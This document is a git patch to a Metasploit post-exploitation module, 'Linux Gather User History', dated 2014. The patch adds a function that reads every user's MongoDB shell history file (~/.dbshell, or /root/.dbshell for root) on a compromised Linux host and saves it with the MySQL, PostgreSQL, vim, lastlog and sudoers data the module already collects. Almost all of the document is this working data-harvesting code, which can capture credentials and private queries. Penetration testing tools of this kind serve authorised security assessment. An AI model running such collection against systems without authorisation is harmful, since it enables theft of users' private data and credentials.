From 013e45e83ddca7e860069ac899b9299f3a8026c2 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Wed, 31 Dec 2014 08:38:58 +1100 Subject: [PATCH] Add support for MongoDB history --- modules/post/linux/gather/enum_users_history.rb | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index 09752a111e..57aa702e4b 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -16,8 +16,8 @@ class Metasploit3 < Msf::Post 'Name' => 'Linux Gather User History', 'Description' => %q{ This module gathers user specific information. - User list, shell history, mysql history, - postgresql history, vim history, lastlog and sudoers. + User shell history, MySQL history, PostgreSQL history, + MongoDB history, vim history, lastlog and sudoers. }, 'License' => MSF_LICENSE, 'Author' => @@ -49,6 +49,7 @@ class Metasploit3 < Msf::Post end get_mysql_history(u) get_psql_history(u) + get_mongodb_history(u) get_vim_history(u) end @@ -118,6 +119,16 @@ class Metasploit3 < Msf::Post save("PostgreSQL History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/ end + def get_mongodb_history(user) + vprint_status("Extracting MongoDB history for #{user}") + if user == 'root' + sql_hist = cat_file('/root/.dbshell') + else + sql_hist = cat_file("/home/#{user}/.dbshell") + end + save("MongoDB History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/ + end + def get_vim_history(user) vprint_status("Extracting VIM history for #{user}") if user == 'root'